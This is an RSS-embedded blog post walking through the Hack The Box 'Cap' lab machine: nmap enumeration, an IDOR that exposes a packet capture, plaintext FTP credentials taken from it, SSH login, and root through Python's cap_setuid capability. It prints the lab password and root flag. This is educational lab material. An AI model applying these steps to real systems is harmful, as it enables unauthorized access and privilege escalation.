            <pubDate>Tue, 28 Jan 2025 17:54:56 GMT</pubDate>
            <atom:updated>2025-02-03T04:11:03.228Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB Cap Walkthrough: From IDOR Exploitation to Root Access</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gy4F1Yjqar-1gqh9aDGyXA.png" /></figure><h4>Introduction</h4><p>This blog post covers my experience solving the “Cap” machine on Hack The Box. It’s categorized as the first machine in the <em>Intro to Red Team</em> track. The challenge involves exploiting an IDOR vulnerability and leveraging Python capabilities for privilege escalation. Below, I’ll walk you through the steps I took to root the machine.</p><h4>Step 1: Initial Scanning and Information Gathering</h4><p>I began by running an nmap scan to identify open ports and services on the target machine. Here&#39;s the command I used:</p><pre>export IP=10.10.10.245<br>sudo nmap -sC -sV -oN initial-scan $IP</pre><p>The scan revealed the following open ports:</p><ul><li><strong>21/TCP (FTP)</strong> running vsftpd 3.0.3</li><li><strong>22/TCP (SSH)</strong> running OpenSSH 8.2p1 on Ubuntu</li><li><strong>80/TCP (HTTP)</strong> serving a web application powered by Gunicorn</li></ul><p>Below is the screenshot of the nmap scan results for reference:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*wj0w3JxBlkob4G9mU_SpmA.png" /><figcaption>Initial scan showing open ports</figcaption></figure><h4>Step 2: Analyzing the Web Application</h4><p>Next, I accessed the web application hosted on port 80. Upon exploring, I noticed I was interacting as a user named “Nathan.” While navigating through the pages, I found a parameter in the URI (data). Experimenting with this parameter&#39;s value, I discovered that decreasing it revealed additional data. For example, setting it to 0 allow me to download a .pcap file.</p><p>Here’s a screenshot of the parameter manipulation in action:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cuxlmasRhL-kDiOWdWevyQ.png" /><figcaption>Exploiting an IDOR vulnerability by changing the URI parameter</figcaption></figure><h4>Step 3: PCAP File Analysis</h4><p>The downloaded PCAP file contained network traffic logs. Using Wireshark, I analyzed the file and identified several protocols in use, including FTP. Since FTP transmits data in plaintext, I was able to extract Nathan’s credentials (USER: nathan and PASS: Buck3tH4TF0RM3!) by following the TCP stream.</p><p>Below is a screenshot of the Wireshark analysis showing the extracted credentials:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1QNemvX7P7ZuxQmeGIiWZQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*H9asWOlSYRZlsUXzZdyfwg.png" /><figcaption>FTP credentials found by analyzing the PCAP file</figcaption></figure><p>Using these credentials, I successfully logged into the machine via SSH.</p><h4>Step 4: Successful SSH Login</h4><p>Using the credentials extracted from the PCAP file, I successfully logged into the machine via SSH. After logging in, I listed the contents of Nathan’s home directory to gather more information and identify potential files of interest.</p><p>Below is a screenshot of the successful login and directory listing:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*JlskIBJD_cyVn2xITYzipQ.png" /><figcaption>Logging into the server using extracted credentials</figcaption></figure><h4>Step 5: Privilege Escalation and Final Flag</h4><p>After gaining SSH access as Nathan, I checked the user’s capabilities to identify any potential paths for privilege escalation. Using the following command:</p><pre>getcap -r / 2&gt;/dev/null</pre><p>I discovered that Python 3.8 had elevated capabilities (cap_setuid and cap_net_bind_service). This allowed me to execute Python with root privileges.</p><p>Below is a screenshot of the capabilities check:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*JGH_5v_6z5BOhqrm881Dig.png" /><figcaption>Checking Python’s elevated capabilities via getcap</figcaption></figure><p>By inspecting Nathan’s home directory, I found a few Python scripts that appeared relevant, including getfiles.py and getrootfiles.py. Below is a screenshot of the directory listing:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*gjYBmHm5mM_cD-QMvtkSrA.png" /><figcaption>Finding Python scripts in Nathan’s home directory</figcaption></figure><p>The getfiles.py script allowed me to switch to the root user and list files in the /root directory. Below is the content of the script and its execution:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/0*HNypfWbzLnaARyiu" /><figcaption>Reviewing the content of the getfiles.py script</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/335/1*6WioTeejz7LPEhTicw3kDA.png" /><figcaption>Privilege escalation using getfiles.py</figcaption></figure><p>To access the final flag, I used the getrootfiles.py script, which was designed to read specific files as the root user. Below is the script&#39;s content and the execution process:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*IBVY4W6OdgKKG_Eu19FxvQ.png" /><figcaption>Reviewing the content of the getrootfiles.py script</figcaption></figure><p>Finally, I obtained the root.txt flag:</p><pre>1de477fe588163f708e3eacf4edd932d</pre><p>Below is the screenshot of the final flag extraction:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*HuDK1Ph8wv2yKATDaJ1V9g.png" /><figcaption>Extracting the flag using getrootfiles.py</figcaption></figure><h4>Conclusion</h4><p>The “Cap” machine provided an excellent opportunity to practice IDOR exploitation and privilege escalation using Linux capabilities. From initial enumeration to leveraging Python scripts for root access, this challenge demonstrated the importance of systematically analyzing and exploiting vulnerabilities.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f0c6a1050d4c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>